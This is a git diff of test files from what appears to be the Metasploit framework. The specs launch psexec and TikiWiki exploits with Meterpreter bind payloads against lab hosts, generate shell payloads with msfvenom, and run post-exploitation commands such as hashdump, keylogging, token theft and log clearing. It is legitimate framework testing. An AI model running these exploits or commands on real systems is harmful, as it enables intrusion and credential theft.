eql("\x88"*keysize) + end - it "should encode multiple blocks" do - 2.upto 50 do |count| - encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) - encoded.should eql("\x88"*keysize*count) - end - end + it "should encode multiple blocks" do + 2.upto 50 do |count| + encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize) + encoded.should eql("\x88"*keysize*count) + end + end - if keysize > 1 - it "should deal with input lengths that aren't a multiple of keysize" do - lambda { - encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) - encoded.should eql("\x00"*(keysize+1)) - }.should_not raise_error + if keysize > 1 + it "should deal with input lengths that aren't a multiple of keysize" do + lambda { + encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) + encoded.should eql("\x00"*(keysize+1)) + }.should_not raise_error - lambda { - encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) - encoded.should eql("\x00"*(keysize-1)) - }.should_not raise_error - end - end + lambda { + encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) + encoded.should eql("\x00"*(keysize-1)) + }.should_not raise_error + end + end end diff --git a/test/features/steps/common_steps.rb b/test/features/steps/common_steps.rb index 11c79c5ae9..21620e30d6 100644 --- a/test/features/steps/common_steps.rb +++ b/test/features/steps/common_steps.rb @@ -1,31 +1,31 @@ #This is the step definition file for common framework testing steps or meta steps When /^I run the "([^"]*)" exploit with standard target options$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively - } - end + steps %Q{ + When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively + } + end When /^I run the "([^"]*)" exploit with standard target options in check mode$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively - } - end + steps %Q{ + When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively + } + end When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively - } - end + steps %Q{ + When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively + } + end When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options and a buffer register$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively - } - end + steps %Q{ + When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively + } + end When /^I run msfpayload to generate a "([^"]*)" on the local host$/ do |payload| - steps %Q{ - When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` - } - end \ No newline at end of file + steps %Q{ + When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` + } + end \ No newline at end of file diff --git a/test/features/steps/handler_steps.rb b/test/features/steps/handler_steps.rb index 4ede133d5c..9660708856 100644 --- a/test/features/steps/handler_steps.rb +++ b/test/features/steps/handler_steps.rb @@ -1,14 +1,14 @@ #This is the step definition file for cucumber features relating to the framework handler feature Given /^I launch the exploit multi handler$/ do - steps %Q{ - - When I run `./msfcli exploit/multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." + steps %Q{ + + When I run `./msfcli exploit/multi/handler E` + Then the output should contain "Please wait while we load the module tree..." + Then the output should contain "Started reverse handler on" + Then the output should contain "Starting the payload handler..." - } + } end Given /^I launch the generic multi handler$/ do diff --git a/test/features/support/env.rb b/test/features/support/env.rb index 2f0b406393..9a60d7d973 100644 --- a/test/features/support/env.rb +++ b/test/features/support/env.rb @@ -5,18 +5,18 @@ require 'aruba/cucumber' require_relative 'test_config' Before do - # Automatically find the framework path - default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') + # Automatically find the framework path + default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') - # Add more paths manually if needed. For example: - # "/Users/gary/rapid7/framework" - @dirs = [default_path] + # Add more paths manually if needed. For example: + # "/Users/gary/rapid7/framework" + @dirs = [default_path] - @aruba_timeout_seconds = 150 + @aruba_timeout_seconds = 150 end Before('@slow_process') do - @aruba_io_wait_seconds = 150 + @aruba_io_wait_seconds = 150 end @After diff --git a/test/features/support/test_config.rb b/test/features/support/test_config.rb index 4284886940..8c1c5b9b77 100644 --- a/test/features/support/test_config.rb +++ b/test/features/support/test_config.rb @@ -6,18 +6,18 @@ class TestConfig def initialize(*args) - yml_path = File.join(File.dirname(__FILE__),'test_config.yml') + yml_path = File.join(File.dirname(__FILE__),'test_config.yml') - if File.exists?(yml_path) - @yaml_options = YAML::load(File.open(yml_path)) - else - @yaml_options = {} - end + if File.exists?(yml_path) + @yaml_options = YAML::load(File.open(yml_path)) + else + @yaml_options = {} + end @options = { "rhost" => "localhost", - "smbuser" => "user", - "smbpass" => "password" + "smbuser" => "user", + "smbpass" => "password" } end diff --git a/test/functional/framework/msfconsole_spec.rb b/test/functional/framework/msfconsole_spec.rb index 56ca2916da..be47e1d987 100644 --- a/test/functional/framework/msfconsole_spec.rb +++ b/test/functional/framework/msfconsole_spec.rb @@ -17,195 +17,195 @@ include MsfTest::MsfMatchers ## This spec exists to help us describe the behavior of msfconsole - TODO describe "Msfconsole" do - - ### - # Setup! - ### - - before :all do - - @working_directory = File.dirname(__FILE__) + + ### + # Setup! + ### + + before :all do + + @working_directory = File.dirname(__FILE__) - ## Static specs will make use of RC files here - @static_resource_directory = "#{@working_directory}/msftest/resource" + ## Static specs will make use of RC files here + @static_resource_directory = "#{@working_directory}/msftest/resource" - ## Directories for the generated specs - @temp_directory = "#{@working_directory}/msfconsole_specs" - @temp_input_directory = "#{@temp_directory}/generated_rc" + ## Directories for the generated specs + @temp_directory = "#{@working_directory}/msfconsole_specs" + @temp_input_directory = "#{@temp_directory}/generated_rc" - ## Where all output from the runs will go - @temp_output_directory = "#{@temp_directory}/output" + ## Where all output from the runs will go + @temp_output_directory = "#{@temp_directory}/output" - ## Create a framework object - @framework = ::Msf::Simple::Framework.create - end + ## Create a framework object + @framework = ::Msf::Simple::Framework.create + end - before :each do - end + before :each do + end - after :each do - - end + after :each do + + end - after :all do - ## Clean up - #FileUtils.rm_rf(@temp_directory) - end + after :all do + ## Clean up + #FileUtils.rm_rf(@temp_directory) + end - ### - # Static Test cases! - ### + ### + # Static Test cases! + ### - it "should start and let us run help" do - data = start_console_and_run_rc("help","#{@static_resource_directory}/help.rc") - - success_strings = [ 'help', - 'Database Backend Commands', - 'Core Commands' ] - failure_strings = [] | generic_failure_strings - failure_exception_strings = [] | generic_failure_exception_strings + it "should start and let us run help" do + data = start_console_and_run_rc("help","#{@static_resource_directory}/help.rc") + + success_strings = [ 'help', + 'Database Backend Commands', + 'Core Commands' ] + failure_strings = [] | generic_failure_strings + failure_exception_strings = [] | generic_failure_exception_strings - data.should contain_all_successes(success_strings) - data.should contain_no_failures_except(failure_strings, failure_exception_strings) - end + data.should contain_all_successes(success_strings) + data.should contain_no_failures_except(failure_strings, failure_exception_strings) + end - it "should generate a meterpreter session against a vulnerable win32 host" do - ## Set input & output to something sane - input = Rex::Ui::Text::Input::Stdio.new - output = Rex::Ui::Text::Output::File.new("temp.output") - session = generate_x86_meterpreter_session(input, output) + it "should generate a meterpreter session against a vulnerable win32 host" do + ## Set input & output to something sane + input = Rex::Ui::Text::Input::Stdio.new + output = Rex::Ui::Text::Output::File.new("temp.output") + session = generate_x86_meterpreter_session(input, output) - session.should_not be_nil - - if session - session.load_stdapi - session.run_cmd("help") - else - flunk "Error interacting with session" - end - end - - ### - # Dynamic Test Cases!! - ### + session.should_not be_nil + + if session + session.load_stdapi + session.run_cmd("help") + else + flunk "Error interacting with session" + end + end + + ### + # Dynamic Test Cases!! + ### - @working_directory = File.dirname(__FILE__) + @working_directory = File.dirname(__FILE__) - ## Directories for the generated specs - @temp_directory = "#{@working_directory}/msfconsole_specs" - @temp_input_directory = "#{@temp_directory}/generated_rc" + ## Directories for the generated specs + @temp_directory = "#{@working_directory}/msfconsole_specs" + @temp_input_directory = "#{@temp_directory}/generated_rc" - ## Where all output from the runs will go - @temp_output_directory = "#{@temp_directory}/output" + ## Where all output from the runs will go + @temp_output_directory = "#{@temp_directory}/output" - if File.directory? @temp_directory - FileUtils.rm_rf(@temp_directory) - end + if File.directory? @temp_directory + FileUtils.rm_rf(@temp_directory) + end - Dir.mkdir(@temp_directory) - Dir.mkdir(@temp_input_directory) - Dir.mkdir(@temp_output_directory) - - Dir.glob("#{@working_directory}/msftest/*.msftest").each do |filename| - - ## Parse this test case - test_case = MsfTestCase.new(filename) - puts "Found #{test_case.name} in: #{filename}" + Dir.mkdir(@temp_directory) + Dir.mkdir(@temp_input_directory) + Dir.mkdir(@temp_output_directory) + + Dir.glob("#{@working_directory}/msftest/*.msftest").each do |filename| + + ## Parse this test case + test_case = MsfTestCase.new(filename) + puts "Found #{test_case.name} in: #{filename}" - ## Write the commands back to a temporary RC file - puts "Writing #{@temp_input_directory}/#{test_case.name}.rc" - File.open("#{@temp_input_directory}/#{test_case.name}.rc", 'w') { |f| f.puts test_case.commands } - - ## Create the rspec Test Case - it "should #{test_case.name}" do - - ## Gather the success / failure strings, and combine with the generics - success_strings = test_case.expected_successes - failure_strings = test_case.expected_failures | generic_failure_strings - failure_exception_strings = test_case.expected_failure_exceptions | generic_failure_exception_strings - - ## run the commands - data = start_console_and_run_rc( test_case.name, "#{@temp_input_directory}/#{test_case.name}.rc") - - ## check the output - data.should contain_all_successes(success_strings) - data.should contain_no_failures_except(failure_strings, failure_exception_strings) - - ## Clean up - #File.delete("#{@temp_input_directory}/#{test_case.name}.rc") - #File.delete("#{@temp_output_directory}/#{test_case.name}") - end - end + ## Write the commands back to a temporary RC file + puts "Writing #{@temp_input_directory}/#{test_case.name}.rc" + File.open("#{@temp_input_directory}/#{test_case.name}.rc", 'w') { |f| f.puts test_case.commands } + + ## Create the rspec Test Case + it "should #{test_case.name}" do + + ## Gather the success / failure strings, and combine with the generics + success_strings = test_case.expected_successes + failure_strings = test_case.expected_failures | generic_failure_strings + failure_exception_strings = test_case.expected_failure_exceptions | generic_failure_exception_strings + + ## run the commands + data = start_console_and_run_rc( test_case.name, "#{@temp_input_directory}/#{test_case.name}.rc") + + ## check the output + data.should contain_all_successes(success_strings) + data.should contain_no_failures_except(failure_strings, failure_exception_strings) + + ## Clean up + #File.delete("#{@temp_input_directory}/#{test_case.name}.rc") + #File.delete("#{@temp_output_directory}/#{test_case.name}") + end + end - ### - # Test case helpers: - ### - def generic_success_strings - [] - end - - def generic_failure_strings - ['fatal', 'fail', 'error', 'exception'] - end - - def generic_failure_exception_strings - [] - end + ### + # Test case helpers: + ### + def generic_success_strings + [] + end + + def generic_failure_strings + ['fatal', 'fail', 'error', 'exception'] + end + + def generic_failure_exception_strings + [] + end - def start_console_and_run_rc(name,rc_file, database_file=false) - output_file = "#{@temp_output_directory}/#{name}" + def start_console_and_run_rc(name,rc_file, database_file=false) + output_file = "#{@temp_output_directory}/#{name}" - if database_file - msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file} -y #{database_file}" - else - msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file}" - end - - system("#{msfconsole_string}") + if database_file + msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file} -y #{database_file}" + else + msfconsole_string = "ruby #{@working_directory}/../../../msfconsole -o #{output_file} -r #{rc_file}" + end + + system("#{msfconsole_string}") - data = hlp_file_to_string("#{output_file}") - end + data = hlp_file_to_string("#{output_file}") + end def generate_x86_meterpreter_session(input, output) - ## Setup for win32 - exploit_name = 'windows/smb/psexec' - payload_name = 'windows/meterpreter/bind_tcp' - - ## Fire it off against a known-vulnerable host - session = @framework.exploits.create(exploit_name).exploit_simple( - 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, - 'Payload' => payload_name, - 'LocalInput' => input, - 'LocalOutput' => output) + ## Setup for win32 + exploit_name = 'windows/smb/psexec' + payload_name = 'windows/meterpreter/bind_tcp' + + ## Fire it off against a known-vulnerable host + session = @framework.exploits.create(exploit_name).exploit_simple( + 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, + 'Payload' => payload_name, + 'LocalInput' => input, + 'LocalOutput' => output) - ## If a session came back, try to interact with it. - if session - return session - else - return nil - end - end + ## If a session came back, try to interact with it. + if session + return session + else + return nil + end + end def generate_win64_meterpreter_session(input, output) - raise "Not Implemented" - end + raise "Not Implemented" + end def generate_java_meterpreter_session(input, output) - raise "Not Implemented" - end + raise "Not Implemented" + end def generate_php_meterpreter_session(input, output) - raise "Not Implemented" - end + raise "Not Implemented" + end - def hlp_file_to_string(filename) - data = "" - f = File.open(filename, "r") - f.each_line do |line| - data += line - end - return data - end + def hlp_file_to_string(filename) + data = "" + f = File.open(filename, "r") + f.each_line do |line| + data += line + end + return data + end end end diff --git a/test/functional/meterpreter/java_meterpreter_specs.rb b/test/functional/meterpreter/java_meterpreter_specs.rb index 8af612ccd1..582e59988b 100644 --- a/test/functional/meterpreter/java_meterpreter_specs.rb +++ b/test/functional/meterpreter/java_meterpreter_specs.rb @@ -1,19 +1,19 @@ module MsfTest module JavaMeterpreterSpecs - ## This file is intended to be used in conjunction with a harness, - ## such as meterpreter_win32_spec.rb + ## This file is intended to be used in conjunction with a harness, + ## such as meterpreter_win32_spec.rb - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when taking a screenshot" do - success_strings = [ 'Screenshot saved to' ] - hlp_run_command_check_output("screenshot","screenshot", success_strings) - end - - end - end + it "should not error when taking a screenshot" do + success_strings = [ 'Screenshot saved to' ] + hlp_run_command_check_output("screenshot","screenshot", success_strings) + end + + end + end end end diff --git a/test/functional/meterpreter/meterpreter_java_spec.rb b/test/functional/meterpreter/meterpreter_java_spec.rb index aa5d090772..cb63843318 100644 --- a/test/functional/meterpreter/meterpreter_java_spec.rb +++ b/test/functional/meterpreter/meterpreter_java_spec.rb @@ -10,83 +10,83 @@ require 'meterpreter_specs' module MsfTest describe "JavaMeterpreter" do - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs - - # This include brings in all the specs that are specific to the java - # meterpreter - include MsfTest::JavaMeterpreterSpecs + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs + + # This include brings in all the specs that are specific to the java + # meterpreter + include MsfTest::JavaMeterpreterSpecs - before :all do - @verbose = true - - @meterpreter_type = "java" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + before :all do + @verbose = true + + @meterpreter_type = "java" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" - create_session_java - end + create_session_java + end - before :each do + before :each do - end + end - after :each do - @session.init_ui(@input, @output) - end - - after :all do - #FileUtils.rm_rf("*.jpeg") - #FileUtils.rm_rf("payload.jar") - FileUtils.rm_rf(@output_directory) - end + after :each do + @session.init_ui(@input, @output) + end + + after :all do + #FileUtils.rm_rf("*.jpeg") + #FileUtils.rm_rf("payload.jar") + FileUtils.rm_rf(@output_directory) + end - - def create_session_java + + def create_session_java - ## Setup for win32 - @framework = Msf::Simple::Framework.create - - test_modules_path = File.join(File.dirname(__FILE__), '..', '..', 'modules') - @framework.modules.add_module_path(test_modules_path) - - @exploit_name = 'test/java_tester' - @payload_name = 'java/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) + ## Setup for win32 + @framework = Msf::Simple::Framework.create + + test_modules_path = File.join(File.dirname(__FILE__), '..', '..', 'modules') + @framework.modules.add_module_path(test_modules_path) + + @exploit_name = 'test/java_tester' + @payload_name = 'java/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 'LocalOutput' => @output) + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) - puts @session.inspect + puts @session.inspect - ## If a session came back, try to interact with it. - if @session - @session.load_stdapi - else - raise Exception "Couldn't get a session!" - end - end + ## If a session came back, try to interact with it. + if @session + @session.load_stdapi + else + raise Exception "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/meterpreter_php_spec.rb b/test/functional/meterpreter/meterpreter_php_spec.rb index 20aa632163..c0caaa31d1 100644 --- a/test/functional/meterpreter/meterpreter_php_spec.rb +++ b/test/functional/meterpreter/meterpreter_php_spec.rb @@ -10,74 +10,74 @@ require 'meterpreter_specs' module MsfTest describe "PhpMeterpreter" do - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs - before :all do - @verbose = true - - @meterpreter_type = "php" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + before :all do + @verbose = true + + @meterpreter_type = "php" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" - create_session_php - end + create_session_php + end - before :each do + before :each do - end + end - after :each do - @session.init_ui(@input, @output) - end - - after :all do - FileUtils.rm_rf(@output_directory) - end + after :each do + @session.init_ui(@input, @output) + end + + after :all do + FileUtils.rm_rf(@output_directory) + end - - def create_session_php + + def create_session_php - ## Setup for php - @framework = Msf::Simple::Framework.create - - @exploit_name = 'unix/webapp/tikiwiki_graph_formula_exec' - @payload_name = 'php/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) + ## Setup for php + @framework = Msf::Simple::Framework.create + + @exploit_name = 'unix/webapp/tikiwiki_graph_formula_exec' + @payload_name = 'php/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {'RHOST' => "metasploitable"}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 'LocalOutput' => @output) + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {'RHOST' => "metasploitable"}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) - puts @session.inspect + puts @session.inspect - ## If a session came back, try to interact with it. - if @session - @session.load_stdapi - else - raise Exception "Couldn't get a session!" - end - end + ## If a session came back, try to interact with it. + if @session + @session.load_stdapi + else + raise Exception "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/meterpreter_spec_helper.rb b/test/functional/meterpreter/meterpreter_spec_helper.rb index e7f2cc7bc1..f47d937a3a 100644 --- a/test/functional/meterpreter/meterpreter_spec_helper.rb +++ b/test/functional/meterpreter/meterpreter_spec_helper.rb @@ -1,58 +1,58 @@ module MsfTest module MeterpreterSpecHelper - def self.included(base) + def self.included(base) base.class_eval do - def generic_failure_strings - ['fail', 'error', 'exception'] - end - - def generic_failure_exception_strings - ['nserror.dll', 'tiki-error.php','tiki-error_simple.php','tiki-rss_error.php'] ##ugh, this is dependent on the target - end + def generic_failure_strings + ['fail', 'error', 'exception'] + end + + def generic_failure_exception_strings + ['nserror.dll', 'tiki-error.php','tiki-error_simple.php','tiki-rss_error.php'] ##ugh, this is dependent on the target + end - def hlp_run_command_check_output(name,command,success_strings=[],fail_strings=[], fail_exception_strings=[]) + def hlp_run_command_check_output(name,command,success_strings=[],fail_strings=[], fail_exception_strings=[]) - fail_strings = fail_strings | generic_failure_strings - fail_exception_strings = fail_exception_strings | generic_failure_exception_strings + fail_strings = fail_strings | generic_failure_strings + fail_exception_strings = fail_exception_strings | generic_failure_exception_strings - temp_command_file = "#{@output_directory}/#{name}" - - command_output = Rex::Ui::Text::Output::File.new(temp_command_file) - @session.init_ui(@input, command_output) - - command_output.print_line("meterpreter_functional_test_start") - - if @verbose - puts "Running Command: " + command - end - - @session.run_cmd(command) - command_output.print_line("meterpreter_functional_test_end") - data = hlp_file_to_string(temp_command_file) - - data.should contain_a_complete_test - data.should contain_all_successes - data.should contain_no_failures_except - end - - def hlp_file_to_string(filename) - data = "" - f = File.open(filename, "r") - f.each_line do |line| - data += line - end - return data - end - - def hlp_string_to_file(string, filepath) - # Create a new file and write to it - File.open(filepath, 'w') do |f2| - f2.puts string - end - end - end - end + temp_command_file = "#{@output_directory}/#{name}" + + command_output = Rex::Ui::Text::Output::File.new(temp_command_file) + @session.init_ui(@input, command_output) + + command_output.print_line("meterpreter_functional_test_start") + + if @verbose + puts "Running Command: " + command + end + + @session.run_cmd(command) + command_output.print_line("meterpreter_functional_test_end") + data = hlp_file_to_string(temp_command_file) + + data.should contain_a_complete_test + data.should contain_all_successes + data.should contain_no_failures_except + end + + def hlp_file_to_string(filename) + data = "" + f = File.open(filename, "r") + f.each_line do |line| + data += line + end + return data + end + + def hlp_string_to_file(string, filepath) + # Create a new file and write to it + File.open(filepath, 'w') do |f2| + f2.puts string + end + end + end + end end end diff --git a/test/functional/meterpreter/meterpreter_specs.rb b/test/functional/meterpreter/meterpreter_specs.rb index 5e2174354c..e2ec4927db 100644 --- a/test/functional/meterpreter/meterpreter_specs.rb +++ b/test/functional/meterpreter/meterpreter_specs.rb @@ -1,108 +1,108 @@ module MsfTest module MeterpreterSpecs - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when running each command" do - commands = [ "?", - "background", - "bgkill", - "bglist", - "bgrun", - "channel", - "close", - "exit", - "help", - "interact", - #"irb", - "migrate", - #"quit", - "read", - "run", - "use", - "write", - "cat", - "cd", - "del", - "download", - #"edit", - "getlwd", - "getwd", - "lcd", - "lpwd", - "ls", - "mkdir", - "pwd", - "rm", - "rmdir", - "search", - "upload", - "ipconfig", - "portfwd", - "route", - "clearev", - "drop_token", - "execute", - "getpid", - "getprivs", - "getuid", - "kill", - "ps", - #"reboot", - "reg", - "rev2self", - #"shell", - #"shutdown", - "steal_token", - "sysinfo", - "enumdesktops", - "getdesktop", - "idletime", - "keyscan_dump", - "keyscan_start", - "keyscan_stop", - "screenshot", - "setdesktop", - "uictl", - "getsystem", - "hashdump", - "timestomp" - ] + it "should not error when running each command" do + commands = [ "?", + "background", + "bgkill", + "bglist", + "bgrun", + "channel", + "close", + "exit", + "help", + "interact", + #"irb", + "migrate", + #"quit", + "read", + "run", + "use", + "write", + "cat", + "cd", + "del", + "download", + #"edit", + "getlwd", + "getwd", + "lcd", + "lpwd", + "ls", + "mkdir", + "pwd", + "rm", + "rmdir", + "search", + "upload", + "ipconfig", + "portfwd", + "route", + "clearev", + "drop_token", + "execute", + "getpid", + "getprivs", + "getuid", + "kill", + "ps", + #"reboot", + "reg", + "rev2self", + #"shell", + #"shutdown", + "steal_token", + "sysinfo", + "enumdesktops", + "getdesktop", + "idletime", + "keyscan_dump", + "keyscan_start", + "keyscan_stop", + "screenshot", + "setdesktop", + "uictl", + "getsystem", + "hashdump", + "timestomp" + ] - ## Run each command, check for execeptions - commands.each do |command| - hlp_run_command_check_output("basic_#{command}",command) - end - end + ## Run each command, check for execeptions + commands.each do |command| + hlp_run_command_check_output("basic_#{command}",command) + end + end - it "should not error when running help" do - success_strings = [ 'Core Commands', - 'Stdapi: File system Commands', - 'Stdapi: Networking Commands', - 'Stdapi: System Commands', - 'Stdapi: User interface Commands'] - - hlp_run_command_check_output("help","help", success_strings) - end - - it "should not error when running the help shortcut" do - success_strings = [ 'Core Commands', - 'Stdapi: File system Commands', - 'Stdapi: Networking Commands', - 'Stdapi: System Commands', - 'Stdapi: User interface Commands' ] - - hlp_run_command_check_output("help_shortcut","?", success_strings) - end - - it "should not error when checking for background channels" do - success_strings = [ 'No active channels.' ] - hlp_run_command_check_output("channel_list_empty","channel -l", success_strings) - end - - end - end + it "should not error when running help" do + success_strings = [ 'Core Commands', + 'Stdapi: File system Commands', + 'Stdapi: Networking Commands', + 'Stdapi: System Commands', + 'Stdapi: User interface Commands'] + + hlp_run_command_check_output("help","help", success_strings) + end + + it "should not error when running the help shortcut" do + success_strings = [ 'Core Commands', + 'Stdapi: File system Commands', + 'Stdapi: Networking Commands', + 'Stdapi: System Commands', + 'Stdapi: User interface Commands' ] + + hlp_run_command_check_output("help_shortcut","?", success_strings) + end + + it "should not error when checking for background channels" do + success_strings = [ 'No active channels.' ] + hlp_run_command_check_output("channel_list_empty","channel -l", success_strings) + end + + end + end end end diff --git a/test/functional/meterpreter/meterpreter_win32_spec.rb b/test/functional/meterpreter/meterpreter_win32_spec.rb index 80f323d554..4a53adea17 100644 --- a/test/functional/meterpreter/meterpreter_win32_spec.rb +++ b/test/functional/meterpreter/meterpreter_win32_spec.rb @@ -14,91 +14,91 @@ module MsfTest describe "Win32Meterpreter" do - # Include Custom Matchers - include MsfTest::MsfMatchers + # Include Custom Matchers + include MsfTest::MsfMatchers - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs - # This include brings in all the specs that are specific to the - # windows meterpreter platforms - include MsfTest::WindowsMeterpreterSpecs + # This include brings in all the specs that are specific to the + # windows meterpreter platforms + include MsfTest::WindowsMeterpreterSpecs - before :all do - @verbose = true - - @meterpreter_type = "win32" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + before :all do + @verbose = true + + @meterpreter_type = "win32" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" - create_session_windows_x32 - end + create_session_windows_x32 + end - before :each do + before :each do - end + end - after :each do - @session.init_ui(@input, @output) - end + after :each do + @session.init_ui(@input, @output) + end - after :all do - - ## Clean up test output - FileUtils.rm_rf(@output_directory) + after :all do + + ## Clean up test output + FileUtils.rm_rf(@output_directory) - ## Screenshot command leaves .jpegs :( - ## TODO - fix the meterpreter command to write to - ## TODO - an arbitrary file. - Dir.new(File.dirname(__FILE__)).each do |file| - if file =~ /.jpeg/ - File.delete(file) - end - end - - end - - def create_session_windows_x32 + ## Screenshot command leaves .jpegs :( + ## TODO - fix the meterpreter command to write to + ## TODO - an arbitrary file. + Dir.new(File.dirname(__FILE__)).each do |file| + if file =~ /.jpeg/ + File.delete(file) + end + end + + end + + def create_session_windows_x32 - ## Setup for win32 - @framework = Msf::Simple::Framework.create - @exploit_name = 'windows/smb/psexec' - @payload_name = 'windows/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) + ## Setup for win32 + @framework = Msf::Simple::Framework.create + @exploit_name = 'windows/smb/psexec' + @payload_name = 'windows/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 'LocalOutput' => @output) + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) - ## If a session came back, 